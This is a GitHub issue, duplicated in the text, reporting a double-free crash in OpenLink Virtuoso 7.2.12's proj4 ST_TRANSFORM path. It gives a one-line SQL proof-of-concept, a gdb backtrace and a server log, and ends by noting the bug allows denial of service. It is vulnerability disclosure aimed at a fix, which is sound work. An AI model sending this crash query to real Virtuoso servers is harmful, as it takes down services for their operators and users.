Virtuoso 7.2.12 crashes at `dk_free_tree`. It can also be reproduced on the latest commit 2bbd7e0.

PoC:
```sql
SELECT ST_TRANSFORM(ST_GEOMFROMTEXT('POINT(-90 -90)', 4326), 1000004326);
```

Backtrace (on commit 2bbd7e0)
```
Thread 20 "virtuoso-t" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7f23672f2700 (LWP 744)]
gpf_notice (file=0x55836133ff45 "Dkbox.c", line=784, text=0x55836134004b "Double free") at Dkutil.c:88
88      Dkutil.c: No such file or directory.
(gdb) bt
#0  gpf_notice (file=0x55836133ff45 "Dkbox.c", line=784, text=0x55836134004b "Double free") at Dkutil.c:88
#1  0x0000558360c5a1f2 in dk_free_tree (box=0x7f235c021838) at Dkbox.c:784
#2  0x00007f237f8aaed5 in virt_proj4_find_pj_by_srid_or_string (qst=0x7f2320018c58, err_ret=0x7f23672ee0e0, srid=1000004326, strg_or_null=0x0, bifname=0x7f237f8ec538 "ST_Transform", argname=0x7f237f8ec54c "destination") at proj4_plugin.c:147
#3  0x00007f237f8abd90 in bif_st_transform (qst=0x7f2320018c58, err=0x7f23672ee2d8, args=0x7f235c021858) at proj4_plugin.c:299
#4  0x000055836077815b in sqlr_run_bif_in_sandbox (bmd=0x558367478f90, args=0x7f2374f1a308, err_ret=0x7f23672ee2d8) at sqlintrp.c:260
#5  0x00005583607bb505 in sqlp_patch_call_if_special_or_optimizable (funcall_tree=0x7f2374f1a320) at sqlpfn.c:2362
#6  0x0000558360baed75 in scn3yyparse (scanner=0x7f2374f160d8) at ./sql3.y:2702
#7  0x0000558360706b0c in sql_compile_1 (string2=0x558365ecff58 "SELECT ST_TRANSFORM(ST_GEOMFROMTEXT('POINT(-90 -90)', 4326), 1000004326)", cli=0x7f2320000e50, err=0x7f23672f1698, cr_type=0, the_parse_tree=0x0, view_name=0x0) at sqlcomp2.c:1581
#8  0x0000558360707fd3 in sql_compile (string2=0x558365ecff58 "SELECT ST_TRANSFORM(ST_GEOMFROMTEXT('POINT(-90 -90)', 4326), 1000004326)", cli=0x7f2320000e50, err=0x7f23672f1698, cr_type=0) at sqlcomp2.c:1900
#9  0x00005583605c98b4 in eql_compile_2 (string=0x558365ecff58 "SELECT ST_TRANSFORM(ST_GEOMFROMTEXT('POINT(-90 -90)', 4326), 1000004326)", cli=0x7f2320000e50, err=0x7f23672f1698, mode=0) at eqlcomp.c:2869
#10 0x00005583607dc224 in stmt_set_query (stmt=0x7f2320018b80, cli=0x7f2320000e50, text=0x558365ecff58 "SELECT ST_TRANSFORM(ST_GEOMFROMTEXT('POINT(-90 -90)', 4326), 1000004326)", opts=0x558365e55478) at sqlsrv.c:1404
#11 0x00005583607ddb25 in sf_sql_execute (stmt_id=0x7f235c0217f8 "s1111_1_0", text=0x558365ecff58 "SELECT ST_TRANSFORM(ST_GEOMFROMTEXT('POINT(-90 -90)', 4326), 1000004326)", cursor_name=0x7f235c021898 "s1111_1_0", params=0x7f235c021878, current_ofs=0x7f235c0217b8, 
    options=0x558365e55478) at sqlsrv.c:1882
#12 0x00005583607de9bd in sf_sql_execute_w (stmt_id=0x7f235c0217f8 "s1111_1_0", text=0x558365ecff58 "SELECT ST_TRANSFORM(ST_GEOMFROMTEXT('POINT(-90 -90)', 4326), 1000004326)", cursor_name=0x7f235c021898 "s1111_1_0", params=0x7f235c021878, current_ofs=0x7f235c0217b8, 
    options=0x558365e55478) at sqlsrv.c:2051
#13 0x00005583607e5502 in sf_sql_execute_wrapper (args=0x7f23672f1c50) at sqlsrv.c:3997
#14 0x0000558360c79a18 in future_wrapper (ignore=0x0) at Dkernel.c:1171
#15 0x0000558360c86515 in _thread_boot (arg=0x55836581eb30) at sched_pthread.c:296
#16 0x00007f2380d26609 in start_thread (arg=<optimized out>) at pthread_create.c:477
#17 0x00007f2380af4353 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
```

Server log:
```
15:04:42 Initializing PRNG
15:04:42 OpenLink Virtuoso Universal Server
15:04:42 Version 07.20.3239-pthreads for Linux as of Apr 29 2024 (2bbd7e0)
15:04:42 uses OpenSSL 1.1.1f  31 Mar 2020
15:04:42 uses parts of PCRE, Html Tidy
15:04:42 Database version 3126
15:04:42 SQL Optimizer enabled (max 1000 layouts)
15:04:43 Compiler unit is timed at 0.000234 msec
15:04:44 Roll forward started
15:04:44 Roll forward complete
15:04:45 Checkpoint started
15:04:45 Checkpoint finished, log reused
15:04:47 HTTP/WebDAV server online at 8890
15:04:47 Server online at 1111 (pid 1)
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x822404) [0x558360c77404]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x8224c5) [0x558360c774c5]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x8051f2) [0x558360c5a1f2]
23:15:45 ../hosting/proj4.so(+0xced5) [0x7f237f8aaed5]
23:15:45 ../hosting/proj4.so(+0xdd90) [0x7f237f8abd90]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x32315b) [0x55836077815b]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x366505) [0x5583607bb505]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x759d75) [0x558360baed75]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x2b1b0c) [0x558360706b0c]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x2b2fd3) [0x558360707fd3]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x1748b4) [0x5583605c98b4]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x387224) [0x5583607dc224]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x388b25) [0x5583607ddb25]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x3899bd) [0x5583607de9bd]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x390502) [0x5583607e5502]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x824a18) [0x558360c79a18]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x831515) [0x558360c86515]
23:15:45 /lib/x86_64-linux-gnu/libpthread.so.0(+0x8609) [0x7f2380d26609]
23:15:45 /lib/x86_64-linux-gnu/libc.so.6(clone+0x43) [0x7f2380af4353]
23:15:45 GPF: Dkbox.c:784 Double free
GPF: Dkbox.c:784 Double free
```
Virtuoso 7.2.12 crashes at `dk_free_tree`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Virtuoso 7.2.12 crashes at `dk_free_tree`
Issue date:

--- start body ---
Virtuoso 7.2.12 crashes at `dk_free_tree`. It can also be reproduced on the latest commit 2bbd7e0.

PoC:
```sql
SELECT ST_TRANSFORM(ST_GEOMFROMTEXT('POINT(-90 -90)', 4326), 1000004326);
```

Backtrace (on commit 2bbd7e0)
```
Thread 20 "virtuoso-t" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7f23672f2700 (LWP 744)]
gpf_notice (file=0x55836133ff45 "Dkbox.c", line=784, text=0x55836134004b "Double free") at Dkutil.c:88
88      Dkutil.c: No such file or directory.
(gdb) bt
#0  gpf_notice (file=0x55836133ff45 "Dkbox.c", line=784, text=0x55836134004b "Double free") at Dkutil.c:88
#1  0x0000558360c5a1f2 in dk_free_tree (box=0x7f235c021838) at Dkbox.c:784
#2  0x00007f237f8aaed5 in virt_proj4_find_pj_by_srid_or_string (qst=0x7f2320018c58, err_ret=0x7f23672ee0e0, srid=1000004326, strg_or_null=0x0, bifname=0x7f237f8ec538 "ST_Transform", argname=0x7f237f8ec54c "destination") at proj4_plugin.c:147
#3  0x00007f237f8abd90 in bif_st_transform (qst=0x7f2320018c58, err=0x7f23672ee2d8, args=0x7f235c021858) at proj4_plugin.c:299
#4  0x000055836077815b in sqlr_run_bif_in_sandbox (bmd=0x558367478f90, args=0x7f2374f1a308, err_ret=0x7f23672ee2d8) at sqlintrp.c:260
#5  0x00005583607bb505 in sqlp_patch_call_if_special_or_optimizable (funcall_tree=0x7f2374f1a320) at sqlpfn.c:2362
#6  0x0000558360baed75 in scn3yyparse (scanner=0x7f2374f160d8) at ./sql3.y:2702
#7  0x0000558360706b0c in sql_compile_1 (string2=0x558365ecff58 "SELECT ST_TRANSFORM(ST_GEOMFROMTEXT('POINT(-90 -90)', 4326), 1000004326)", cli=0x7f2320000e50, err=0x7f23672f1698, cr_type=0, the_parse_tree=0x0, view_name=0x0) at sqlcomp2.c:1581
#8  0x0000558360707fd3 in sql_compile (string2=0x558365ecff58 "SELECT ST_TRANSFORM(ST_GEOMFROMTEXT('POINT(-90 -90)', 4326), 1000004326)", cli=0x7f2320000e50, err=0x7f23672f1698, cr_type=0) at sqlcomp2.c:1900
#9  0x00005583605c98b4 in eql_compile_2 (string=0x558365ecff58 "SELECT ST_TRANSFORM(ST_GEOMFROMTEXT('POINT(-90 -90)', 4326), 1000004326)", cli=0x7f2320000e50, err=0x7f23672f1698, mode=0) at eqlcomp.c:2869
#10 0x00005583607dc224 in stmt_set_query (stmt=0x7f2320018b80, cli=0x7f2320000e50, text=0x558365ecff58 "SELECT ST_TRANSFORM(ST_GEOMFROMTEXT('POINT(-90 -90)', 4326), 1000004326)", opts=0x558365e55478) at sqlsrv.c:1404
#11 0x00005583607ddb25 in sf_sql_execute (stmt_id=0x7f235c0217f8 "s1111_1_0", text=0x558365ecff58 "SELECT ST_TRANSFORM(ST_GEOMFROMTEXT('POINT(-90 -90)', 4326), 1000004326)", cursor_name=0x7f235c021898 "s1111_1_0", params=0x7f235c021878, current_ofs=0x7f235c0217b8, 
    options=0x558365e55478) at sqlsrv.c:1882
#12 0x00005583607de9bd in sf_sql_execute_w (stmt_id=0x7f235c0217f8 "s1111_1_0", text=0x558365ecff58 "SELECT ST_TRANSFORM(ST_GEOMFROMTEXT('POINT(-90 -90)', 4326), 1000004326)", cursor_name=0x7f235c021898 "s1111_1_0", params=0x7f235c021878, current_ofs=0x7f235c0217b8, 
    options=0x558365e55478) at sqlsrv.c:2051
#13 0x00005583607e5502 in sf_sql_execute_wrapper (args=0x7f23672f1c50) at sqlsrv.c:3997
#14 0x0000558360c79a18 in future_wrapper (ignore=0x0) at Dkernel.c:1171
#15 0x0000558360c86515 in _thread_boot (arg=0x55836581eb30) at sched_pthread.c:296
#16 0x00007f2380d26609 in start_thread (arg=<optimized out>) at pthread_create.c:477
#17 0x00007f2380af4353 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
```

Server log:
```
15:04:42 Initializing PRNG
15:04:42 OpenLink Virtuoso Universal Server
15:04:42 Version 07.20.3239-pthreads for Linux as of Apr 29 2024 (2bbd7e0)
15:04:42 uses OpenSSL 1.1.1f  31 Mar 2020
15:04:42 uses parts of PCRE, Html Tidy
15:04:42 Database version 3126
15:04:42 SQL Optimizer enabled (max 1000 layouts)
15:04:43 Compiler unit is timed at 0.000234 msec
15:04:44 Roll forward started
15:04:44 Roll forward complete
15:04:45 Checkpoint started
15:04:45 Checkpoint finished, log reused
15:04:47 HTTP/WebDAV server online at 8890
15:04:47 Server online at 1111 (pid 1)
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x822404) [0x558360c77404]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x8224c5) [0x558360c774c5]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x8051f2) [0x558360c5a1f2]
23:15:45 ../hosting/proj4.so(+0xced5) [0x7f237f8aaed5]
23:15:45 ../hosting/proj4.so(+0xdd90) [0x7f237f8abd90]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x32315b) [0x55836077815b]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x366505) [0x5583607bb505]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x759d75) [0x558360baed75]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x2b1b0c) [0x558360706b0c]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x2b2fd3) [0x558360707fd3]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x1748b4) [0x5583605c98b4]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x387224) [0x5583607dc224]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x388b25) [0x5583607ddb25]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x3899bd) [0x5583607de9bd]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x390502) [0x5583607e5502]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x824a18) [0x558360c79a18]
23:15:45 /opt/virtuoso-opensource/bin/virtuoso-t(+0x831515) [0x558360c86515]
23:15:45 /lib/x86_64-linux-gnu/libpthread.so.0(+0x8609) [0x7f2380d26609]
23:15:45 /lib/x86_64-linux-gnu/libc.so.6(clone+0x43) [0x7f2380af4353]
23:15:45 GPF: Dkbox.c:784 Double free
GPF: Dkbox.c:784 Double free
```
--- end body ---

A segmentation fault in Virtuoso 7.2.12 occurs due to a double free error in the `dk_free_tree` function when executing a specific SQL query. This vulnerability can lead to a Denial of Service (DoS) as the server crashes when processing the query, which can be exploited by an attacker to disrupt service.